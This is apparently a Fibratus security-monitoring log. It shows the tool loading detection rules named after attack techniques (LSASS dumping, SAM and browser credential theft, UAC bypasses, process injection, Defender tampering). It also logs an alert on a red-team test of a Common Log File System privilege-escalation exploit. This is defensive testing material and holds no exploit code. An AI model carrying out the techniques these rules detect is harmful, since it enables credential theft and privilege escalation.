source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-26T12:48:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:49:00+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-26T12:49:00+01:00 level=info msg=bootstrapping with pid 18040. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T12:49:00+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ content-type=>text/html enabled=>false to=>[] use-template=>true port=>25] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-dns=>false enable-mem=>false enable-fileio=>true min-buffers=>16 enable-threadpool=>false stack-enrichment=>true enable-net=>true buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-handle=>false enable-registry=>true enable-audit-api=>true max-buffers=>36 enable-thread=>true flush-interval=>1s enable-image=>true enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-age=>0 max-size=>100 level=>info log-stdout=>true max-backups=>15] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] amqp=>[ exchange=>fibratus url=>amqp://localhost:5672 tls-insecure-skip-verify=>false delivery-mode=>transient durable=>false vhost=>/ passive=>false routing-key=>fibratus timeout=>5s exchange-type=>topic enabled=>false] elasticsearch=>[ healthcheck-interval=>10s index-name=>fibratus sniff=>false template-name=>fibratus gzip-compression=>false enabled=>false healthcheck=>true servers=>[http://127.0.0.1:9200] bulk-workers=>1 healthcheck-timeout=>5s timeout=>5s trace-log=>false flush-period=>1s] eventlog=>[ enabled=>false level=>info] http=>[ timeout=>5s serializer=>json method=>POST tls-insecure-skip-verify=>false enable-gzip=>false enabled=>false endpoints=>[]]] + pe ............................. [ read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] skip-mmaps=>false enabled=>false skip-allocs=>false skip-files=>false fastscan=>true excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-26T12:49:00+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-26T12:49:02+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-26T12:49:12+01:00 level=info msg=sending alert: [Exploitation via Common Log File System]. Text: Event(s): + Seq: 808803 + Pid: 15476 + Tid: 9092 + Type: CreateFile + CPU: 0 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-26 12:49:05.1442262 +0100 CET + Params: attributes➜ NORMAL, create_disposition➜ OPEN, create_options➜ WRITE_THROUGH|SEQUENTIAL_ONLY|NO_INTERMEDIATE_BUFFERING|NO_COMPRESSION, file_object➜ ffffc48c9a107150, file_path➜ C:\Fibratus\redteam\clfs\test.blf, irp➜ ffffc48c8cba30f8, share_mask➜ READ, status➜ Success, tid➜ 9092, type➜ File + Metadata: rule.seq.link: 15476, rule.name: Exploitation via Common Log File System, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 15476 + Ppid: 8524 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\clfs\main.exe" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\clfs\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\clfs\main.exe"] + Session ID: 1 + Envs: map[] + + + + Seq: 808857 + Pid: 15476 + Tid: 9092 + Type: CreateProcess + CPU: 3 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-26 12:49:05.1499473 +0100 CET + Params: cmdline➜ "C:\Windows\System32\cmd.exe", directory_table_base➜ 2c22ec000, domain➜ ARCHRABBIT, exe➜ C:\Windows\System32\cmd.exe, exit_status➜ Success, flags➜ WOW64, kproc➜ ffffc48c9ac0c080, name➜ cmd.exe, pid➜ 7396, ppid➜ 15476, real_ppid➜ 15476, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-26 12:49:05.1498648 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 15476, rule.name: Exploitation via Common Log File System, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 15476 + Ppid: 8524 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\clfs\main.exe" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\clfs\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\clfs\main.exe"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-26T12:49:20+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T12:49:20+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-26T12:49:21+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-26T12:50:35+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:50:35+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-26T12:50:35+01:00 level=info msg=bootstrapping with pid 9164. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T12:50:35+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ content-type=>text/html to=>[] use-template=>true enabled=>false port=>25] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-mem=>false enable-threadpool=>false enable-audit-api=>true enable-registry=>true enable-dns=>false enable-thread=>true min-buffers=>16 enable-vamap=>true enable-net=>true stack-enrichment=>true enable-image=>true enable-handle=>false max-buffers=>36 enable-fileio=>true flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-age=>0 formatter=>text level=>info log-stdout=>true max-backups=>15] + output ......................... [ amqp=>[ vhost=>/ durable=>false url=>amqp://localhost:5672 passive=>false exchange-type=>topic enabled=>false routing-key=>fibratus exchange=>fibratus tls-insecure-skip-verify=>false timeout=>5s delivery-mode=>transient] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s flush-period=>1s template-name=>fibratus trace-log=>false sniff=>false index-name=>fibratus timeout=>5s enabled=>false gzip-compression=>false bulk-workers=>1 healthcheck-timeout=>5s healthcheck=>true] http=>[ endpoints=>[] tls-insecure-skip-verify=>false method=>POST serializer=>json enabled=>false enable-gzip=>false timeout=>5s]] + pe ............................. [ read-sections=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s excluded-files=>[] skip-allocs=>false 